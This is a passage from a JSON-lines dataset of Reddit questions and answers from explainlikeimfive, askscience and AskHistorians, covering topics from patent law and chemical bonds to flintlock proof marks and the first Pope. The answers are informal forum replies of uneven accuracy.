align his nation with the Axis. \n\n Some good books on this topic are:\n\nMussolini by Dennis Mack Smith\n\nItalian Foreign Policy in the Interwar Years by H. James Burgwyn\n\nThe Fall of Mussolini by Philip Morgan"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3ow2tp", "title": "- kic 8462852 and why scientists believe an alien megastructure could be an explanation.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ow2tp/eli5_kic_8462852_and_why_scientists_believe_an/", "answers": {"a_id": ["cw0y5w7", "cw0yg1s", "cw1878d"], "score": [14, 6, 2], "text": ["So we see things that orbit stars by measuring how much their brightness dips when the object passes in front of the star. The amount of light blocked in this case is too much for the object to be a planet. We don't really know what it is yet. \n\nA possible explanation are bodies put into orbit by an alien species to capture energy from the star. However, it is impossible to make that conclusion based on the evidence presented. It's clear we're seeing something that doesn't fit with our assumptions about how solar systems operate, but it is far more likely that it is a natural phenomenon than an artificial one.", "The problem is with science reporting. People will click on 'ALIENS CONFIRMED' rather than \"Irregular luminosity drops of a distant star\".\n\nThere seems to be a lot of stuff orbiting that star. Some chunks more massive than other. Most likely something broken down and there is dust and debris. Maybe two planets collided. Maybe some comets exploded or there is a huge asteroid field.\n\nThere are sci-fi ideas about civilizations placing huge solar panels to gather most energy from their star. It's a neat idea, but unlikely for several reasons.", "Seems like the article answered its own question quite well with the neighboring star disrupting the Oort cloud of the star in question, producing the dips in light. Not to mention any other number of clouds of space *stuff* that could just be passing by, of which I haven't heard there being a size limit.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1qcpl1", "title": "what does \"patent pending\" mean, practically? if the patent has still not gone through couldn't someone still copy the invention?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1qcpl1/eli5_what_does_patent_pending_mean_practically_if/", "answers": {"a_id": ["cdbi04c", "cdbi1ac", "cdbj2ef", "cdbq5l2", "cdbu42g"], "score": [2, 26, 5, 2, 2], "text": ["Well yes, they very can \"steal\" the idea, but even if they do manage to steal the idea, what happens if the patent on the original product goes through and gets granted? Then the person who stole the idea before would be under infringement issues. So even though the original creators patent might be declined, and theoretically the person who \"stole\" the idea can put in their own patent, since they are both pretty much the same thing, the person who stole the idea would probably be denied as well.\n\nSorry for any misunderstandings, kind of hard to explain. :p", "I believe that patents can provide legal protection from the date they were *filed*, meaning any infringement could be sued retroactively. It's like saying, \"We can't sue you now, but will be able to in the near future.\"", "It means the patent has been submitted to the applicable office for the invention, but not yet reviewed and/or awarded.  In circumstances and depending on country it can be enforced from the date of application - the length of time from submission to patents being granted varies, and can be as much as 18 months.", "It's a queue. If something is patent pending it might be the 1000th patent that's pending. If someone tries to steal that idea and submit a patent it will be the 1001st patent that's pending. So it's behind the first one. Once the first 1000th invention gets officially patented the 1001st one will not be able to get a patent. ", "A provisional patent also allows you to display patent pending.\n\nBefore you file for a real patent you can file for something called a provisional patent.  This is so you can judge commercial interest in your product and raise money to offset the cost of a good patent lawyer. \n\nA provisional patent will only protect you for 1 year and only cost ~$100 to file"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "2k4xgs", "title": "Farmers life in the 1700s through the 1800s in America and Europe", "selftext": "I did a cursory search for this in the past, but didn't find what I was looking for.\n\nA few specific questions that I have:\n\n* Was most of the land owned by the upper class and rented out, or was it land owners that were working their own fields?\n\n* What did they typically grow?  Did they grow a single crop, or many different crops?  Were there any farmers who were mostly subsistence, with a little extra for bartering, or did the financial burdens require most of their crops to go to market?\n\n* What was their free time like?  Was farming something that took up all of their time?\n\nBut I'm generally interested in the quality of life of a typical farmer, and an understanding of the range of lives that could be called \"farmers\": I know there were plantation owners, and homesteaders, but I don't know a lot of what was in between, or what the breakdown was.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2k4xgs/farmers_life_in_the_1700s_through_the_1800s_in/", "answers": {"a_id": ["clhy7xg", "clibjvh"], "score": [2, 2], "text": ["Europe...dozens of countries, languages, economies, cultures, laws, weather extremes, animals etc I think a more precise question would get a better answer.\n\n\n\n\n", "You might be interested in the book [*Farmers  &  Fishermen: Two Centuries of Work in Essex County, Massachusetts, 1630-1850* by Daniel Vickers.](_URL_0_) As another comment mentions, \"in Europe and America\" is a really large landmass with quite a bit of variation. The book I mentioned above talks a little bit about how England's farming was in the 17th century, and how that translated to New England, and how things began to differ. It is twenty years old, so some of its information might be outdated now, but it might give you some idea of how a farmer's life was, in early and post-colonial New England."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://books.google.com/books?id=N1jUaJR5becC&amp;printsec=frontcover&amp;dq=Farmers+%26+Fishermen:+Two+Centuries+of+Work+in+Essex+County,+Massachusetts,+1630-1850&amp;hl=en&amp;sa=X&amp;ei=g_RJVJPeGoykyATJyYKQBw&amp;ved=0CB8Q6AEwAA#v=onepage&amp;q=Farmers%20%26%20Fishermen%3A%20Two%20Centuries%20of%20Work%20in%20Essex%20County%2C%20Massachusetts%2C%201630-1850&amp;f=false"]]}
{"q_id": "9f7p5v", "title": "Are double and triple bonds more stable or more reactive than single bonds?", "selftext": "I'm a high school student with some confusion regarding my chemistry classes. I remember my teacher explaining in one course that double and triple bonds are more stable than single bonds, however at the same time I've learned that double and triple bonds are also considered functional groups, which means that these will react with other compounds easier? To me it seems like these two statements kinda contradict each other? I would highly appreciate some form of explanation because I'm really lost right now..\n\n & #x200B;\n\nThanks!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9f7p5v/are_double_and_triple_bonds_more_stable_or_more/", "answers": {"a_id": ["e5ugpq8", "e5uhwu6", "e5upmyd", "e5wfs8y"], "score": [2, 2, 5, 2], "text": ["Double and triple bonds (one sigma and one pi or one sigma and two pi) are more stable than a single bond, which consists of just one sigma bond. Simple addition of bonds. But if you\u2019re talking reactivity, the pi bond(s) in double and triple bonds can react to form different bonds, while the sigma bond remains intact. You learn more about this in organic chemistry. ", "It's really the context of where the double/triple bonds are. The pi bonds can be treated as a lone pair in many cases when looking for possible reactions. \n\nI think the point that was trying to be made in class was that when looking at molecules alone, pi bonds work to stabilize the molecule, but those groups/bonds can be used in reactions if other molecules can interact.\n\n If drawing a lewis structure of an oxygen molecule O2, for example, the stable configuration of that is O=O with 2 lone pairs on each atom. The less stable or incorrect form would be O-O with 3 loan pairs on one atom and 2 on the other. The sharing of pi electrons allows for filling, and stabilization, of both of these atoms valence shells while having a seemingly deficient amount of electrons. Otherwise you'd have a + and a - charge on each atom, while still having a net charge of 0. These charges will destabilize the molecule.\n\nBut with something like a carbonyl (say, a ketone), that double bond can attack an acidic proton H and for an alcohol, so long as the carbon can get attacked by some other electron source to fill it's shell.", "A single double bond is generally lower in energy than one single bond. But don't confuse individual bond enthalpies with the overall stability of a system.  You have to look at the energy of the entire system. \n\nThe reason is that double bonds, especially when discussing carbon, are reactive is that breaking one double bond to make two single bonds results in lower energy. \n\nFor example, halide addition is a pretty common reaction done with C=C double bonds. Let's say you break a C=C bond and make two C-Cl bonds (This would be a reaction for converting H2C=CH2 into H2ClC-CClH2)\n\n    C-Cl 328\n    C-C  348\n    C=C 614\n    Cl-Cl 242\n\nBreaking one C=C bond and one Cl-Cl bond loses 856 kJ/mol, but gaining a C-C bond and two Cl-Cl bonds gains 1004 kJ/mol.  Thus on net balance the system as a whole drops in energy. \n\nThis is why double bonds are often chemically reactive from an energy standpoint.  It's because one double bond is often inferior to two single bonds and usually you are forming two single bonds anytime you break a double bond, otherwise you end up with ionized carbon.   It's not always the case as it depends on the species. \n\nPlus when you actually get into more detailed molecular structures, you often find that effects such as resonance and other stabilizing effects start to mess with what you might expect to be stable. \n\nStability implies that the state of the system as a whole can't find a lower energy state, or at the very least can't find it without going through an unfavorable state. \n\nTL DR: You have to look at the entire system and not the stability of individual members of the system. When you do you see that it's very common that breaking double bonds results in a lower system energy. ", "The answer that I think you're really looking for is that double and triple bonds are stronger than single bonds, but the second and third bonds are weaker than the first (for reasons already covered well in the other comments). A double bond is reactive because it's second bond is, basically. 'Double bond' is unfortunately sometimes used to refer to just that pi bond but sometimes used to refer to both bonds. After a while you will be able to tell which from context, don't worry."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "48ey8y", "title": "Do monkeys and other primates form callouses on their hands?", "selftext": "When I began weightlifting, I started forming callouses on my palms, and it was raw and hurt a bit before they formed. Do monkeys or apes also have to toughen their hands through use? It seems more extreme, given that they theb to be much more arboreal than we are, so their hands would experience much rougher surfaces. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/48ey8y/do_monkeys_and_other_primates_form_callouses_on/", "answers": {"a_id": ["d0j7shn"], "score": [9], "text": ["The short answer: yes. Apes such as the Gorilla walk on their knuckles and one tends to see thick callouses where their hands make contact with the ground. Arboreal species will have calloused palms as you have suggested. I can say this solely through observation but it was also noted by Kevin J. Connolly in *The Psychobiology of the Hand*, London, Mac Keith Press, 1998 (pg 77-80)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1vwldh", "title": "How does Heat transfer at the quantum level work?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1vwldh/how_does_heat_transfer_at_the_quantum_level_work/", "answers": {"a_id": ["cewxcb9"], "score": [2], "text": ["\"Temperature\" is the macroscopic, effective description of a certain statistical energy distribution of random motion. On the atomic level, there are many objects that undergo random motion, so there can potentially be different temperatures to a material. For instance, take a solid-state quantum well laser. In a crystalline solid, the outer atomic valence states spread out into a band of states and the electrons can thermalize (spread out in energy space into a thermal distribution). In a 1D quantum well, these bands break into subbands. You can therefore have a lattice temperature (describing the vibrations of the atoms), and at the same time have different electron temperatures for each subband. In the quantum world, therefore, temperature is more a description of an energy distribution and less a description of how hard solid walls are whacking into each other. \n\nWith this in mind, heat transfer can happen in many ways. The most basic way is for atoms that are vibrating to pass this vibration on through their electromagnetic bonds. In the quantum world, we represent a lattice vibration as a quantized pseduo-particle called a \"phonon\". Heat transferred to, from, and through the atomic lattice is therefore described as an emission, absorption, and transmission of phonons. But heat can also be transferred through the electron population. If excited electrons move to another spatial location and then thermalize, you can say that the electrons have transferred heat. Any population of indistinguishable quantum objects can have a thermal energy distribution and move around/propagate energy, thus constituting heat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "30ldbc", "title": "Is there actually any evidence to suggest \"screens\" are bad for children?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/30ldbc/is_there_actually_any_evidence_to_suggest_screens/", "answers": {"a_id": ["cptpkri"], "score": [6], "text": ["A couple years ago I finished my degree in Human Development. There are quite a few studies on how TV effects kids behavior and learning. They basically go in the way you'd expect. If the kid watches violent shows, in the short term they are more violent. Similarly, if they watch educational shows, they have a short term advantage on their peers. However, both of these effects tend to wash out as kids get older. \n\nAs far as other screens go, it's still to early to know. The kids who grew up with screens are still kids. Scientist can make all kinds of claims about short term impact, but the reality is there hasn't been enough time to see the full impact they have. \n\nMy thoughts are, kids are really great at learning, and they learn by doing. If most of their \"doing\" is on a screen, they will become adept at navigating the electronic world. To me, that seems like a great skill to have in the world they will be living in. However, if a kid is in front of a screen his or her whole childhood, there may be weaknesses because of things the kid wasn't doing; for example face to face interaction. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6wq75u", "title": "I recently purchased a Flintlock Pistol from an Antique Store and on the handle it had some markings that I cannot identify.", "selftext": "On the handle of the Pistol is the engraving:  \n   \n  * UC EL *** (with the stars (5-point stars) arranged in a equilateral triangle pattern).  \n  \nI have searched a few historical databases regarding the markings usually found on Flintlock Pistols (or pistols in general) and not found anything concrete.  \n  \n[Here](_URL_0_) for example it states on page 5 that 1 or 2 Stars represent the Proof Marks of an 1897 Flintlock Pistol with Smokeless Powder of French Origin.  \n  \nHowever I cannot find any reference to \"UC EL\" or the 3 star variation.   \n  \nHas anyone come across these kind of markings on any weapons before or have any historical references that might list such things?  \n   \nSorry if this is an inappropriate question for this subreddit but I didn't know where else to ask.  \n   \nThanks for your time and help.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6wq75u/i_recently_purchased_a_flintlock_pistol_from_an/", "answers": {"a_id": ["dma13lb"], "score": [6], "text": ["A photo would help a great deal, here. You may have something genuine and 18th c. However, there were quite a number of decorative flintlock pistols produced in the Middle East through the 19th c., perhaps longer.  Some of them may have been for house decoration in Istanbul, Cairo, etc but they were often purchased by tourists and brought home and there are a lot of them about.  They can have some miscellaneous marks, engraved things that almost look like Western script.  The quality is usually what you'd expect for something that would only be hung on the wall, commonly crudely evoking a horse pistol circa 1710-1760.\n\nThe French were actually using smokeless powder in muzzleloading pistols, apparently, in the 1950's. It's possible some French  shop even made flintlocks in 1897  ( one suspects for theatrical dueling) but you should not even try to imagine loading the thing with modern smokeless powder unless you want to destroy it.  And loading and firing any antique gun is not recommended, unless a qualified gunsmith has checked it out first."]}, "title_urls": [], "selftext_urls": ["http://www.nramuseum.com/media/940944/proofmarks.pdf"], "answers_urls": [[]]}
{"q_id": "puwue", "title": "Why are some men growers and some men showers?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/puwue/why_are_some_men_growers_and_some_men_showers/", "answers": {"a_id": ["c3sg3kb", "c3sgcfa", "c3sgg8e"], "score": [72, 28, 9], "text": ["I'm not exactly sure what the question is, but it's my understanding that the relationship between flaccid and erect penile lengths is different for everybody. Whether you shrink a ton whilst soft or you simply lose the \"hardness\", the only real measure of correlation is that of \"stretched\" length. If you take your flaccid penis, stretch is out as far as it'll go (man this is a great image), and measure it, whatever you end up with will be about a centimeter or so shorter than your fully erect length.\n\ntl;dr we have no idea why some people stay long while flaccid, but others stay short while flaccid.\n\nSource: I'm a studying penisologist at the University of [Here's](_URL_2_) [My](_URL_0_) [Source](_URL_1_).", "No anecdotal replies. No speculation. Expert answers only.\n---\n\nIf a question doesn't have a scientific answer... that's okay. It doesn't have a scientific answer. That's it.", "In \"40 Studies That Changed Psychology\" (_URL_0_) There is a chapter in there that deals with the issue of studying people having sex. In a side note in the chapter that mainly deals with the issues derived on studying human sexual behavior (another topic), one part of the study was correlation between erect penis length and flaccid penis length. Oddly enough they found that the smaller the flaccid length, the longer the erect length. There was a reason for this but I can't remember. Basically, you are set if you got a small flaccid guy.  And no I'm not talking about a larger difference between the flaccid and erect size, i'm talking about maximum size. hope this helps.\n\nSource: General Psych Courses, Walla Walla University, with that book.\n(Did I cite right? not really much of a linguist as you can tell.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://naturalpenisenlarge.biz/53/Penis-size-facts.html", "http://www.teamliquid.net/forum/viewmessage.php?topic_id=45682", "http://www.jurology.com/article/S0022-5347%2801%2965682-9/abstract"], [], ["http://www.amazon.com/Forty-Studies-that-Changed-Psychology/dp/013603599X/ref=sr_1_1?ie=UTF8&amp;qid=1329550766&amp;sr=8-1"]]}
{"q_id": "4qj60m", "title": "Timbuktu Mosque: What Are Those Spike On the Outside of it?", "selftext": "On the outside of the [Timbuktu Mosque](_URL_0_) there are these strange spike things. What are they and what are there purpose? Is it to hang stuff on or to climb or what?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4qj60m/timbuktu_mosque_what_are_those_spike_on_the/", "answers": {"a_id": ["d4tftfr"], "score": [9], "text": ["That mosque is not in Timbuktu. It is the [Great Mosque of Djenne](_URL_4_), in the city of Djenne which is about 500 km south-west of Timbuktu in Mali.\n\nAnyhow, those are wooden timbers called *toron*. They are used to [support scaffolding]( _URL_3_) when adobe is reapplied to the exterior of the mosque, or when repairs are needed.\n\nThese *toron* are ubiquitous in many large mosques in West Africa, including the [Sankore mosque](_URL_2_) and [Djinguereber mosque](_URL_5_), both in Timbuktu, and the [Great Mosque of Mopti](_URL_1_) and even smaller mosques have begun to [use them as a stylistic element](_URL_0_)."]}, "title_urls": [], "selftext_urls": ["http://i173.photobucket.com/albums/w47/babyhorus29/photo_lg_mali.jpg"], "answers_urls": [["https://s-media-cache-ak0.pinimg.com/564x/b4/b6/e9/b4b6e9778ccf35c345c69411861bdec8.jpg", "https://www.google.com/imgres?imgurl=http://www.learn.columbia.edu/mopti/jpgs/_DSC6721.jpg&amp;imgrefurl=http://www.learn.columbia.edu/mopti/&amp;h=308&amp;w=450&amp;tbnid=ETd41VFa4gjbsM:&amp;tbnh=160&amp;tbnw=233&amp;docid=JIr1MffS5FrDMM&amp;itg=1&amp;usg=__w471_Hcq6gizsyNVn-Q8F3NMA6w=#h=308&amp;imgdii=ETd41VFa4gjbsM%3A%3BETd41VFa4gjbsM%3A%3Btpw0H4vO8I_4wM%3A&amp;tbnh=160&amp;tbnw=233&amp;w=450", "https://upload.wikimedia.org/wikipedia/en/5/5f/Timbuktu_Sankore_Mosque.jpg", "http://www.kamit.jp/27_mali/xdjenne_1.htm", "https://en.wikipedia.org/wiki/Great_Mosque_of_Djenn%C3%A9", "https://notesfromcamelidcountry.files.wordpress.com/2013/09/img_5237.jpg"]]}
{"q_id": "5m8wc0", "title": "why are people swayed more by negative reviews than positive ones?", "selftext": "When searching for things on Amazon, there can be 100 5-star reviews and and one 2-star review, and for some reason I give the 2-star review more weight in my mind even though the overwhelming consensus is that the product is great.\n\nIt's the same with film reviews. I'll find myself hesitating to watch a movie because of a single bad review despite there being universal acclaim from every other reviewer.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5m8wc0/eli5_why_are_people_swayed_more_by_negative/", "answers": {"a_id": ["dc1oty3", "dc1pwg0", "dc1rgpb", "dc1s0r1", "dc1v4gl", "dc269j1"], "score": [14, 5, 3, 2, 4, 3], "text": ["You're more worried about what could go wrong than what can go right. Same reason you fail to notice something in the background of no importance but your brain instantly alerts you of a perceived threat in your periphery (like noticing a giant spider in the corner of a room). Your brain alerts you more of the things that can affect you negatively and focuses on them more than positive things to keep you safe.", "Well, unfortunately there are a lot of false positive reviews. And sometimes lots of reviews that have 'this product was received free or at a discount for my review.'  \nThey can really flood Amazon and make crap seem great. \n\nNobody fakes negative reviews of their own product. \n\nI did just come across a web page that does a quick analysis of the reviews to look for 'suspicious reviews.' Neat! ", "Because if you are spending your hard earned money on something you want it to be consistently good and not take a risk.", "I don't know how plausible is it for some companies to write fake reviews, but that would definitely give more validity to bad reviews if companies did write their own reveiws.", "Personally, I read negative reviews to get a sense of what people are complaining about. Someone will always find something to complain about for any given thing, but what I want to know is how reasonable those complaints are. My wife and I use Yelp to look up restaurants, but what we're mostly looking for are the bad reviews and what the nature of those reviews are. When we see a that a lot of the bad reviews are petty, or have unreasonable complaints (\"We came in looking for a table for ten at 8:00 on a Saturday and they made us wait 30 minutes!!!\") or are ridiculously over-the-top (\"We sat down and waited for 45 minutes until a waiter came, then waited for 45 more minutes to get our drinks, then it took an hour and a half to get our appetizers...\"), then we give them less weight and generally feel better about our decision to go to the restaurant.", "The reason you take more notice of bad reviews is because you are conditioned by thousands of years of evolution to look for them.\n\nYes, ancient cave-men passed along the skills you need to spot a bad Amazon review. They drew warnings on cave walls of bad products with one star and passed those skills down from generation to generation.\n\nOk I totally made that up, but what they did pass along to you was the instinctive nature to spot danger, and a bad review is exactly that, it's a big DANGER sign that you immediately take notice of.\n\nIt doesn't matter than ten other people said nice things about it, you want to know what the danger flag (Or bad review) is all about because if there's even the tiniest hint of a threat to you (In this case wasting your money on a bad product), well you want in on that!!\n\nIt's the same reason we don't generally have warning signs that indicate an absence or lack of danger. The sudden prompting that things have gone to shit spikes that same instinctive watch for danger in you.\n\nBecause of this effect, people who sell stuff hate one star reviews for the simple fact they have a massive weight of influence to them. No matter how retarded a bad review might be, it always has more effect than a well written one that reflects positively on the product which is why most shopping and review sites let the manufacturer have the last word on a bad review as a means of restoring the balance.\n\nIt's not always possible, but the best way to measure a review is to play other reviews off against it. If a good review says something nice about the product, go and find a bad review that refutes that specific point and vice versa. For example if a bad review says \"The battery life is crap\" and there's three other reviews saying its not bad or its good, the balance of probability says that one reviewer had unrealistic expectations of battery life or some other problem."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "m2943", "title": "how the hell do seals swim on top of the water? (picture)", "selftext": "[Picture](_URL_0_).\n\nI saw this gravity defying son of a seal mocking off of the coast of northern Ireland. How did he do it?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/m2943/how_the_hell_do_seals_swim_on_top_of_the_water/", "answers": {"a_id": ["c2xheq5", "c2xinb5", "c2xheq5", "c2xinb5"], "score": [15, 8, 15, 8], "text": ["In a word: buoyancy. Their body must be, on the whole, less dense than water, which causes them to float. ", "It is buoyancy mixed with thrust. They already gravitate towards the top of the water due to their blubber, but when pushing through the water they angle their bodies slightly as air produces less drag then water. By doing this they go further then if they where to use the same amount of energy under water.\nThis is also typically what you end up seeing Olympic swimmers do as again, it is the most efficient way to spend energy moving through water.", "In a word: buoyancy. Their body must be, on the whole, less dense than water, which causes them to float. ", "It is buoyancy mixed with thrust. They already gravitate towards the top of the water due to their blubber, but when pushing through the water they angle their bodies slightly as air produces less drag then water. By doing this they go further then if they where to use the same amount of energy under water.\nThis is also typically what you end up seeing Olympic swimmers do as again, it is the most efficient way to spend energy moving through water."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/b2KLr.png"], "answers_urls": [[], [], [], []]}
{"q_id": "c30gex", "title": "how come certain plant species and animals, etc can reproduce asexually with no issues developing in the offspring, but when creatures like us reproduce sexually, inbreeding with someone close to us results in lots of health issues and deformity?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c30gex/eli5_how_come_certain_plant_species_and_animals/", "answers": {"a_id": ["ernspsa", "ernsv7y", "ernu9uh", "ero17ty", "erobuv0", "erpea0a", "erppdej"], "score": [27, 3, 17, 2, 3, 2, 2], "text": ["First, the dangers of inbreeding is greatly overstated.  For most of human history we lived in small tribes and villages and... you know.  You have to inbreed consistently for many generations to see a real problem.\n\nSpecies that clone themselves *do* have this problem, and it's precisely why reproductive solutions that recombine DNA evolved in the first place.  When the entire population is clones, you risk excessive propagation of genetic defects and have a severe risk of infectious attack decimating the species.\n\nBut, it's also super easy so some species opt to live with the risk and just brute force their way through with a gazillion clones.", "The asexual creature is an exact copy barring mutations.  In related individuals that reproduce it is not exact.  It's a blending.  And the chance that each has and passes on a supressed recessive gene that cause an issue is greater. That is not an issue with the asexual creature.", "Asexual offspring are basically clones of the parents. If the parent DNA works, the child DNA will *probably* work, excluding the rare random mutations.\n\nPlants and animals generally reproduce sexually. Some fertilize themselves, which is the same as you having sex with yourself, except both versions have both sets of equipment. This is not the same as asexual reproduction, the plant produces two sex cells (each with a random assortment of 50% of the DNA), and then merges them together. In this case, some versions genes are duplicated and some versions of a gene are removed entirely, all at random.\n\nGenetically, this is also very similar to having sex with a sibling.\n\nThe reason that this is an issue is that rare, destructive genes tend to be recessive (i.e. they don't express physically if you also have a working, dominant copy).\n\n\nLet's say that there's a 1/100 chance of a random person carrying destructive gene \"a\", but also having a dominant, working copy \"A\". 99 out of 100 people would have a genotype \"AA\", but that 1 person would be \"Aa\". If they had a child with a random person, odds would be that they would have healthy children - 50% AA and 50% Aa, 99% of the time, with only a 0.5% of having a child with the bad combination \"aa\".\n\nBut, let's look at their children. If the father is Aa and the mother is AA, then their children look like this:\n\nGenes|Dad A|Dad a\n:-:|:-:|:-:|\nMom A|AA|Aa\nMom A|AA|Aa\n\nThat's 50% of the kids having \"Aa\", which is way more than the normal population. If one of those Aa boys had sex with their sister, then it's not a 0.5% chance (50% of 1%), but a 25% chance (50% of 50%) of having a baby with the defective issues.\n\nIt's not that incest inherently causes issues, it's that incest makes defective, under-performing, recessive genes WAY more likely to manifest than from two random individuals from the healthy population.", "Plants are very simple, while the corn genome is about the size of the human genome the level of redundancy is much, much higher.  That makes that plant stick to its winning design.  To get the super-high complexity of a human, more allowance for variation is required.  This  introduces sensitivity to a few coordinated changes, which can be more common with inbreeding or cloning.", "The reason inbreeding is bad in sexual species is that there are genes that produce useful effects when you have one set of them, but when you have two sets, produce the defects we associate with inbreeding.\n\nFor instance, Sickle Cell anemia is a really bad disease to have, and it's genetic.  When you have one gene for it, it doesn't really manifest itself, but when you have two, it manifests and causes a lot of nasty problems.  The thing is, it turns out that the sickle cell effect when you have just the one gene for it is actually useful for fighting off malaria.\n\nWhen you have an asexual creature reproducing, it makes the exact same (baring mutations) genes, so there's mostly no danger that the asexual creature will somehow double any genes up and cause some bad effect.", "You can have genetic defects even *without* inbreeding. \n\nInbreeding simply increases the chance slightly.", "Asexual species don\u2019t have recessive genes.\n\nA lot of genetic disorders, and especially ones where inbreeding increases the risk for them, come from recessive genes.  With recessive genes, you\u2019re fine as long as you have at least one copy of the normal gene. You can have one abnormal copy and still survive and reproduce. People with one copy of a gene that could cause a disorder are sometimes called carriers for that disorder. They don\u2019t have the disorder, but they could have a child who does, if they have a child with another carrier.\n\nThis generally doesn\u2019t happen in asexual species. They don\u2019t get one copy of a gene from one parent and another copy from the other. They\u2019re a genetic copy of their parent (assuming no mutations). If the parent didn\u2019t have the genetic disorder, the child doesn\u2019t, either.\n\nIf the child does have a genetic disorder caused by a mutation, that mutation will kill it or make it unable to reproduce if it\u2019s severe enough. The mutant gene dies out with that individual, it doesn\u2019t get passed on to another generation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "msq32", "title": "If a metal were cooled to absolute zero, what properties would it maintain? (magnetism, etc)", "selftext": "I wish I could say this question didn't come to me because I was watching an episode of star trek the animated series.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/msq32/if_a_metal_were_cooled_to_absolute_zero_what/", "answers": {"a_id": ["c33kcv6", "c33kcv6"], "score": [4, 4], "text": ["Could you clarify if you mean \"a metal were cooled to *near* absolute zero\", or do you really mean \"a metal were cooled to absolute zero\"?  The latter is a physical impossibility, and thus requires magic to happen; and anything goes in a magical world ;)", "Could you clarify if you mean \"a metal were cooled to *near* absolute zero\", or do you really mean \"a metal were cooled to absolute zero\"?  The latter is a physical impossibility, and thus requires magic to happen; and anything goes in a magical world ;)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "a668if", "title": "why do car accidents become a spectacle for people to stare at while driving or gather nearby to watch?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a668if/eli5_why_do_car_accidents_become_a_spectacle_for/", "answers": {"a_id": ["ebs9pjh", "ebsmret", "ebsrxl1", "ebt95p3", "ebtnw2c"], "score": [16, 12, 10, 2, 2], "text": ["2 reasons. \n\n1. They want to help, but need direction.\n\n2. People are fascinated with destruction and death, especially because it reflects their own fragility. Two second lapse of judgment, and your car is inside out. It's an examination of vulnerability without the vulnerable part.", "I would assume because it is unusual and so draws attention. You get a similar response if it was instead a bright pink unicorn running down the hard shoulder.", "Novelty aspect? You dont see crashes every day. Humans are very curious by nature.", "I would have to say because its something out of the ordinary.. some of us have extraordinarily ordinary lives and interesting things don't happen that often", "You ever see a dead guy?\n\n\n\n\nYa wanna?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "5e2x6y", "title": "tesla autopilot vs google's self driving car", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5e2x6y/eli5_tesla_autopilot_vs_googles_self_driving_car/", "answers": {"a_id": ["da9akoi"], "score": [2], "text": ["Tesla's autopilot isn't a self-driving car. It's basically just adaptive cruise control + lane correction + emergency braking- all features that have been available in other cars for a while now. You manually drive onto the highway, turn on autopilot, and then the car will drive itself (mostly, you still have to pay attention in case the car misses something, or gets into a situation it doesn't know how to handle and needs to return control back to you) until you need to exit the highway, at which point you need to take control again.\n\nGoogle is trying to support fully automatic driving- you punch a destination into the GPS and then take a nap because the car will wake you up when you get to your destination. The car will stop at stoplights, wait for pedestrians to cross at a cross walk, and all these other things that Tesla's cruise control doesn't have to worry about. That's what all the fancy equipment is for."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1jgd0h", "title": "Who was the first Pope? Did he proclaim himself the religious leader of the catholics ? Last, but not least, why is the Roman Catholic Church named so?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1jgd0h/who_was_the_first_pope_did_he_proclaim_himself/", "answers": {"a_id": ["cbeejdz", "cbegraq"], "score": [12, 4], "text": ["Ok so, your first question. Catholics believe that the first Pope was Saint Peter. \n\nThey believe his primacy, him being first among equals, was established in Matthew 16:18-19, when Jesus said to him,\"And I say also unto thee, That thou art Peter, and upon this rock I will build my church; and the gates of hell shall not prevail against it. And I will give unto thee the keys of the kingdom of heaven: and whatsoever thou shalt bind on earth shall be bound in heaven: and whatsoever thou shalt loose on earth shall be loosed in heaven.\"\n\nSo, your second question. Ok, Peter, like all the other apostles, spread the Gospel to convert others to Christianity. He went around the Mediterranean to different cities, like Rome and corinth. So, Peter went to Rome to preach. After a while, he was caught by roman authorities, and was executed. In catholic tradition, he was crucified, and when he was, he asked to crucified upside down, not thinking himself worthy to die the same way as that of his Lord. He was buried on the vatican hill, over where the Vatican is today. Not sure which hill, I'll look it up.\n\nSo lastly, the name of the Church. So, in the beginning of Church history, you just have something called the church. The word catholic, which means universal 